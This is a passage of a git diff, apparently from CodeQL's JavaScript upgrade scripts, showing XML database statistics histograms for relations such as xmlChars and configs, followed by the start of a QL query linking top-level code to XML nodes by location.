+<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>915</v> +</b> +<b> +<a>2</a> +<b>4054</b> +<v>43</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>prefixName</src> +<trg>URI</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>915</v> +</b> +<b> +<a>2</a> +<b>4054</b> +<v>43</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>prefixName</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>828</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>73</v> +</b> +<b> +<a>5</a> +<b>24903</b> +<v>57</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>URI</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4185</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>URI</src> +<trg>prefixName</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2602</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1553</v> +</b> +<b> +<a>3</a> +<b>872</b> +<v>30</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>URI</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>6</b> +<v>274</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>3825</v> +</b> +<b> +<a>7</a> +<b>24905</b> +<v>86</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11655</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>26146</v> +</b> +<b> +<a>3</a> +<b>8</b> +<v>1743</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>prefixName</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11653</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>25982</v> +</b> +<b> +<a>3</a> +<b>31</b> +<v>1909</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>URI</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11655</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>26146</v> +</b> +<b> +<a>3</a> +<b>8</b> +<v>1743</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>xmlHasNs</name> +<cardinality>1139730</cardinality> +<columnsizes> +<e> +<k>elementId</k> +<v>1139730</v> +</e> +<e> +<k>nsId</k> +<v>4136</v> +</e> +<e> +<k>fileid</k> +<v>39537</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>elementId</src> +<trg>nsId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1139730</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>elementId</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1139730</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>nsId</src> +<trg>elementId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>5</b> +<v>234</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>3824</v> +</b> +<b> +<a>6</a> +<b>643289</b> +<v>78</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>nsId</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>5</b> +<v>257</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>3823</v> +</b> +<b> +<a>6</a> +<b>24759</b> +<v>56</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>elementId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3669</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>20429</v> +</b> +<b> +<a>3</a> +<b>7</b> +<v>2536</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>3473</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>2258</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>3036</v> +</b> +<b> +<a>11</a> +<b>18</b> +<v>2966</v> +</b> +<b> +<a>18</a> +<b>147552</b> +<v>1170</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>nsId</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>18261</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>21032</v> +</b> +<b> +<a>3</a> +<b>8</b> +<v>244</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>xmlComments</name> +<cardinality>26812</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>26812</v> +</e> +<e> +<k>text</k> +<v>22933</v> +</e> +<e> +<k>parentid</k> +<v>26546</v> +</e> +<e> +<k>fileid</k> +<v>26368</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26812</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26812</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26812</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21517</v> +</b> +<b> +<a>2</a> +<b>62</b> +<v>1416</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21519</v> +</b> +<b> +<a>2</a> +<b>62</b> +<v>1414</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21522</v> +</b> +<b> +<a>2</a> +<b>62</b> +<v>1411</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26379</v> +</b> +<b> +<a>2</a> +<b>17</b> +<v>167</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26379</v> +</b> +<b> +<a>2</a> +<b>17</b> +<v>167</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26546</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26161</v> +</b> +<b> +<a>2</a> +<b>17</b> +<v>207</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26165</v> +</b> +<b> +<a>2</a> +<b>17</b> +<v>203</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26223</v> +</b> +<b> +<a>2</a> +<b>10</b> +<v>145</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>xmlChars</name> +<cardinality>439958</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>439958</v> +</e> +<e> +<k>text</k> +<v>100518</v> +</e> +<e> +<k>parentid</k> +<v>433851</v> +</e> +<e> +<k>idx</k> +<v>4</v> +</e> +<e> +<k>isCDATA</k> +<v>1</v> +</e> +<e> +<k>fileid</k> +<v>26494</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>439958</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>439958</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>439958</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>isCDATA</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>439958</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>439958</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>60389</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>3811</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>29257</v> +</b> +<b> +<a>5</a> +<b>23171</b> +<v>7061</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>60389</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>3811</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>29257</v> +</b> +<b> +<a>5</a> +<b>23171</b> +<v>7061</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>100517</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>isCDATA</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>100518</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>text</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>61284</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>4205</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>28328</v> +</b> +<b> +<a>5</a> +<b>351</b> +<v>6701</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>429716</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>4135</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>429716</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>4135</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>429716</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>4135</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>isCDATA</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>433851</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parentid</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>433851</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>80</a> +<b>81</b> +<v>1</v> +</b> +<b> +<a>1892</a> +<b>1893</b> +<v>1</v> +</b> +<b> +<a>4135</a> +<b>4136</b> +<v>1</v> +</b> +<b> +<a>433851</a> +<b>433852</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>16</a> +<b>17</b> +<v>1</v> +</b> +<b> +<a>100499</a> +<b>100500</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>80</a> +<b>81</b> +<v>1</v> +</b> +<b> +<a>1892</a> +<b>1893</b> +<v>1</v> +</b> +<b> +<a>4135</a> +<b>4136</b> +<v>1</v> +</b> +<b> +<a>433851</a> +<b>433852</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>isCDATA</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>46</a> +<b>47</b> +<v>1</v> +</b> +<b> +<a>97</a> +<b>98</b> +<v>1</v> +</b> +<b> +<a>26494</a> +<b>26495</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>isCDATA</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>439958</a> +<b>439959</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>isCDATA</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>100518</a> +<b>100519</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>isCDATA</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>433851</a> +<b>433852</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>isCDATA</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>isCDATA</src> +<trg>fileid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>26494</a> +<b>26495</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>25303</v> +</b> +<b> +<a>2</a> +<b>35123</b> +<v>1191</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>text</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>25765</v> +</b> +<b> +<a>2</a> +<b>35123</b> +<v>729</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>parentid</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>25312</v> +</b> +<b> +<a>2</a> +<b>35123</b> +<v>1182</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26397</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>97</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fileid</src> +<trg>isCDATA</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>26494</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>xmllocations</name> +<cardinality>3051056</cardinality> +<columnsizes> +<e> +<k>xmlElement</k> +<v>2982460</v> +</e> +<e> +<k>location</k> +<v>3051056</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>xmlElement</src> +<trg>location</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2978326</v> +</b> +<b> +<a>2</a> +<b>24903</b> +<v>4134</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>location</src> +<trg>xmlElement</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3051056</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>filetype</name> +<cardinality>1102</cardinality> +<columnsizes> +<e> +<k>file</k> +<v>1102</v> +</e> +<e> +<k>filetype</k> +<v>3</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>file</src> +<trg>filetype</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1102</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>filetype</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>162</a> +<b>163</b> +<v>1</v> +</b> +<b> +<a>939</a> +<b>940</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>configs</name> +<cardinality>69795</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>69795</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>configNames</name> +<cardinality>69794</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>69794</v> +</e> +<e> +<k>config</k> +<v>69794</v> +</e> +<e> +<k>name</k> +<v>12859</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>config</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>69794</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>69794</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>config</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>69794</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>config</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>69794</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4858</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>593</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2806</v> +</b> +<b> +<a>4</a> +<b>10</b> +<v>169</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>1900</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1757</v> +</b> +<b> +<a>12</a> +<b>111</b> +<v>776</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>config</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4858</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>593</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2806</v> +</b> +<b> +<a>4</a> +<b>10</b> +<v>169</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>1900</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1757</v> +</b> +<b> +<a>12</a> +<b>111</b> +<v>776</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>configValues</name> +<cardinality>69691</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>69691</v> +</e> +<e> +<k>config</k> +<v>69691</v> +</e> +<e> +<k>value</k> +<v>54399</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>config</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>69691</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>69691</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>config</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>69691</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>config</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>69691</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>48220</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>4804</v> +</b> +<b> +<a>4</a> +<b>546</b> +<v>1375</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>config</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>48220</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>4804</v> +</b> +<b> +<a>4</a> +<b>546</b> +<v>1375</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>configLocations</name> +<cardinality>209280</cardinality> +<columnsizes> +<e> +<k>locatable</k> +<v>209280</v> +</e> +<e> +<k>location</k> +<v>209280</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>locatable</src> +<trg>location</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>209280</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>location</src> +<trg>locatable</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>209280</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>extraction_time</name> +<cardinality>378</cardinality> +<columnsizes> +<e> +<k>file</k> +<v>21</v> +</e> +<e> +<k>extractionPhase</k> +<v>9</v> +</e> +<e> +<k>timerKind</k> +<v>2</v> +</e> +<e> +<k>time</k> +<v>43</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>file</src> +<trg>extractionPhase</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>9</a> +<b>10</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>timerKind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>time</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>3</a> +<b>4</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>extractionPhase</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>21</a> +<b>22</b> +<v>9</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>extractionPhase</src> +<trg>timerKind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>9</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>extractionPhase</src> +<trg>time</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8</v> +</b> +<b> +<a>42</a> +<b>43</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>timerKind</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>21</a> +<b>22</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>timerKind</src> +<trg>extractionPhase</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>9</a> +<b>10</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>timerKind</src> +<trg>time</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>22</a> +<b>23</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>time</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>42</v> +</b> +<b> +<a>21</a> +<b>22</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>time</src> +<trg>extractionPhase</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>42</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>time</src> +<trg>timerKind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>42</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>extraction_data</name> +<cardinality>21</cardinality> +<columnsizes> +<e> +<k>file</k> +<v>21</v> +</e> +<e> +<k>cacheFile</k> +<v>21</v> +</e> +<e> +<k>fromCache</k> +<v>1</v> +</e> +<e> +<k>length</k> +<v>21</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>file</src> +<trg>cacheFile</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>fromCache</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>length</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>cacheFile</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>cacheFile</src> +<trg>fromCache</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>cacheFile</src> +<trg>length</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fromCache</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>21</a> +<b>22</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fromCache</src> +<trg>cacheFile</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>21</a> +<b>22</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fromCache</src> +<trg>length</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>21</a> +<b>22</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>length</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>length</src> +<trg>cacheFile</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>length</src> +<trg>fromCache</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +</stats> +</dbstats> diff --git a/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql new file mode 100644 index 00000000000..da9c88f5bb9 --- /dev/null +++ b/javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql @@ -0,0 +1,32 @@ +class TopLevel extends @toplevel { + string toString() { none() } +} + +class XmlNode extends @xmllocatable { + string toString() { none() } +} + +// Based on previous implementation on HTMLNode.getCodeInAttribute and getInlineScript +from + TopLevel top, XmlNode xml, + @file f, + @location l1, int sl1, int sc1, int el1, int ec1, + @location l2, int sl2, int sc2, int el2, int ec2 +where + xmllocations(xml, l1) and + hasLocation(top, l2) and + locations_default(l1, f, sl1, sc1, el1, ec1) and + locations_default(l2, f, sl2, sc2, el2, ec2) and + ( + ( + sl1 = sl2 and sc1 < sc2 + or + sl1 < sl2 + ) and + 